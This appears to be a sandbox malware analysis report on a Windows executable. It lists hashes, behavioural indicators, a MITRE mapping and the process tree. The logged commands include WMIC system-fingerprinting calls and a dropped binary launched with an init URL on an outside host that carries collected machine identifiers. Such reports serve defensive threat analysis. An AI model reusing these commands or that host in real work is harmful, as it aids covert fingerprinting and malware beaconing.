2359ae1ca0eca3db26b61ad6652bca4b8e1d87daa42d5d4664fc3840ac78cacc

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
25/12/2023, 05:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

06c927c3e1421cd7600ed656526e23e4.exe
Size

403KB
MD5

06c927c3e1421cd7600ed656526e23e4
SHA1

857dfe61d3663ab43cfcaed21df1d2c515174de9
SHA256

2359ae1ca0eca3db26b61ad6652bca4b8e1d87daa42d5d4664fc3840ac78cacc
SHA512

463dad0cc6de6de44266043d8cefcf5fed94c570f6316468da3b8dadb8115bbbc8a437fde2f00dfbadb0396f399d45f12e1a542df39a5c1df4d92be9a40c9842
SSDEEP

12288:9A0i50G+7BsOx5UBkHY2lvNKltnVPZGEvvacEQ:9AfyGnQUBIYqlEZjvicP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4908	7za.exe
2480	setupcl.exe

Loads dropped DLL 5 IoCs

pid	Process
1456	06c927c3e1421cd7600ed656526e23e4.exe
1456	06c927c3e1421cd7600ed656526e23e4.exe
1456	06c927c3e1421cd7600ed656526e23e4.exe
1456	06c927c3e1421cd7600ed656526e23e4.exe
1456	06c927c3e1421cd7600ed656526e23e4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2568	WMIC.exe
Token: SeSecurityPrivilege	2568	WMIC.exe
Token: SeTakeOwnershipPrivilege	2568	WMIC.exe
Token: SeLoadDriverPrivilege	2568	WMIC.exe
Token: SeSystemProfilePrivilege	2568	WMIC.exe
Token: SeSystemtimePrivilege	2568	WMIC.exe
Token: SeProfSingleProcessPrivilege	2568	WMIC.exe
Token: SeIncBasePriorityPrivilege	2568	WMIC.exe
Token: SeCreatePagefilePrivilege	2568	WMIC.exe
Token: SeBackupPrivilege	2568	WMIC.exe
Token: SeRestorePrivilege	2568	WMIC.exe
Token: SeShutdownPrivilege	2568	WMIC.exe
Token: SeDebugPrivilege	2568	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2568	WMIC.exe
Token: SeRemoteShutdownPrivilege	2568	WMIC.exe
Token: SeUndockPrivilege	2568	WMIC.exe
Token: SeManageVolumePrivilege	2568	WMIC.exe
Token: 33	2568	WMIC.exe
Token: 34	2568	WMIC.exe
Token: 35	2568	WMIC.exe
Token: 36	2568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2568	WMIC.exe
Token: SeSecurityPrivilege	2568	WMIC.exe
Token: SeTakeOwnershipPrivilege	2568	WMIC.exe
Token: SeLoadDriverPrivilege	2568	WMIC.exe
Token: SeSystemProfilePrivilege	2568	WMIC.exe
Token: SeSystemtimePrivilege	2568	WMIC.exe
Token: SeProfSingleProcessPrivilege	2568	WMIC.exe
Token: SeIncBasePriorityPrivilege	2568	WMIC.exe
Token: SeCreatePagefilePrivilege	2568	WMIC.exe
Token: SeBackupPrivilege	2568	WMIC.exe
Token: SeRestorePrivilege	2568	WMIC.exe
Token: SeShutdownPrivilege	2568	WMIC.exe
Token: SeDebugPrivilege	2568	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2568	WMIC.exe
Token: SeRemoteShutdownPrivilege	2568	WMIC.exe
Token: SeUndockPrivilege	2568	WMIC.exe
Token: SeManageVolumePrivilege	2568	WMIC.exe
Token: 33	2568	WMIC.exe
Token: 34	2568	WMIC.exe
Token: 35	2568	WMIC.exe
Token: 36	2568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	660	WMIC.exe
Token: SeSecurityPrivilege	660	WMIC.exe
Token: SeTakeOwnershipPrivilege	660	WMIC.exe
Token: SeLoadDriverPrivilege	660	WMIC.exe
Token: SeSystemProfilePrivilege	660	WMIC.exe
Token: SeSystemtimePrivilege	660	WMIC.exe
Token: SeProfSingleProcessPrivilege	660	WMIC.exe
Token: SeIncBasePriorityPrivilege	660	WMIC.exe
Token: SeCreatePagefilePrivilege	660	WMIC.exe
Token: SeBackupPrivilege	660	WMIC.exe
Token: SeRestorePrivilege	660	WMIC.exe
Token: SeShutdownPrivilege	660	WMIC.exe
Token: SeDebugPrivilege	660	WMIC.exe
Token: SeSystemEnvironmentPrivilege	660	WMIC.exe
Token: SeRemoteShutdownPrivilege	660	WMIC.exe
Token: SeUndockPrivilege	660	WMIC.exe
Token: SeManageVolumePrivilege	660	WMIC.exe
Token: 33	660	WMIC.exe
Token: 34	660	WMIC.exe
Token: 35	660	WMIC.exe
Token: 36	660	WMIC.exe
Token: SeIncreaseQuotaPrivilege	660	WMIC.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2480	setupcl.exe
2480	setupcl.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1456 wrote to memory of 2568	1456	06c927c3e1421cd7600ed656526e23e4.exe	89
PID 1456 wrote to memory of 2568	1456	06c927c3e1421cd7600ed656526e23e4.exe	89
PID 1456 wrote to memory of 2568	1456	06c927c3e1421cd7600ed656526e23e4.exe	89
PID 1456 wrote to memory of 660	1456	06c927c3e1421cd7600ed656526e23e4.exe	94
PID 1456 wrote to memory of 660	1456	06c927c3e1421cd7600ed656526e23e4.exe	94
PID 1456 wrote to memory of 660	1456	06c927c3e1421cd7600ed656526e23e4.exe	94
PID 1456 wrote to memory of 5088	1456	06c927c3e1421cd7600ed656526e23e4.exe	96
PID 1456 wrote to memory of 5088	1456	06c927c3e1421cd7600ed656526e23e4.exe	96
PID 1456 wrote to memory of 5088	1456	06c927c3e1421cd7600ed656526e23e4.exe	96
PID 1456 wrote to memory of 3772	1456	06c927c3e1421cd7600ed656526e23e4.exe	99
PID 1456 wrote to memory of 3772	1456	06c927c3e1421cd7600ed656526e23e4.exe	99
PID 1456 wrote to memory of 3772	1456	06c927c3e1421cd7600ed656526e23e4.exe	99
PID 1456 wrote to memory of 4908	1456	06c927c3e1421cd7600ed656526e23e4.exe	100
PID 1456 wrote to memory of 4908	1456	06c927c3e1421cd7600ed656526e23e4.exe	100
PID 1456 wrote to memory of 4908	1456	06c927c3e1421cd7600ed656526e23e4.exe	100
PID 1456 wrote to memory of 2480	1456	06c927c3e1421cd7600ed656526e23e4.exe	102
PID 1456 wrote to memory of 2480	1456	06c927c3e1421cd7600ed656526e23e4.exe	102
PID 1456 wrote to memory of 2480	1456	06c927c3e1421cd7600ed656526e23e4.exe	102
PID 2480 wrote to memory of 1484	2480	setupcl.exe	104
PID 2480 wrote to memory of 1484	2480	setupcl.exe	104
PID 2480 wrote to memory of 1484	2480	setupcl.exe	104

C:\Users\Admin\AppData\Local\Temp\06c927c3e1421cd7600ed656526e23e4.exe
"C:\Users\Admin\AppData\Local\Temp\06c927c3e1421cd7600ed656526e23e4.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1456
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:660
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get Version /FORMAT:textvaluelist.xsl
  2⤵
  PID:5088
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
  2⤵
  PID:3772
- C:\Users\Admin\AppData\Local\Temp\nsm4B34.tmp\7za.exe
  7za.exe e -y -p"62ab703ad4bb0ac6c150c8121a5a9ada" [RANDOM_STRING].7z
  2⤵
  - Executes dropped EXE
  PID:4908
- C:\Users\Admin\AppData\Local\Temp\nsm4B34.tmp\setupcl.exe
  "C:\Users\Admin\AppData\Local\Temp\nsm4B34.tmp\setupcl.exe" /initurl http://sub.ecocka.info/init/06c927c3e1421cd7600ed656526e23e4/:uid:? /affid "-" /id "0" /name " " /uniqid 06c927c3e1421cd7600ed656526e23e4 /uuid 00000000-0000-0000-0000-000000000000 /biosserial /biosversion ROCKS - 1 /csname Standard PC (Q35 + ICH9, 2009)
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    wmic bios get serialnumber, version
    3⤵
    PID:1484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\nsm4B34.tmp\7za.exe

Filesize
574KB

MD5
42badc1d2f03a8b1e4875740d3d49336

SHA1
cee178da1fb05f99af7a3547093122893bd1eb46

SHA256
c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf

SHA512
6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsm4B34.tmp\[RANDOM_STRING].7z

Filesize
80KB

MD5
4de7a732253f40bb14e952b1982e4fc6

SHA1
ac294e2e0f54eaecef43715e844a97acf1f88d6a

SHA256
96e5b1d7ee6b01ff35203546cf2b89e6138987df8897dae98cab6270fa5a845f

SHA512
0e91c7422522da614744370e606012aadcc1d67b171180ec930305ac6c70f775ea825ace159417e5c91e395afd10d55abbd213879ec1196cfe5511ba9d8b375c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsm4B34.tmp\nsExec.dll

Filesize
8KB

MD5
b8be6632a7dc8136ff01338be40fe701

SHA1
043fa16929b2af5ed5c1c59b4035a10cf765fb43

SHA256
289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

SHA512
403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsm4B34.tmp\setupcl.exe

Filesize
193KB

MD5
10bd2af1b07ec6bc9cd17ba512569e59

SHA1
807e17ab1b98177e135d30941b45081960d1e866

SHA256
9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c

SHA512
deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed

Download Submit
memory/1456-35-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/2480-36-0x00000000004D0000-0x00000000004D1000-memory.dmp

Filesize
4KB

Download
memory/2480-37-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/2480-38-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download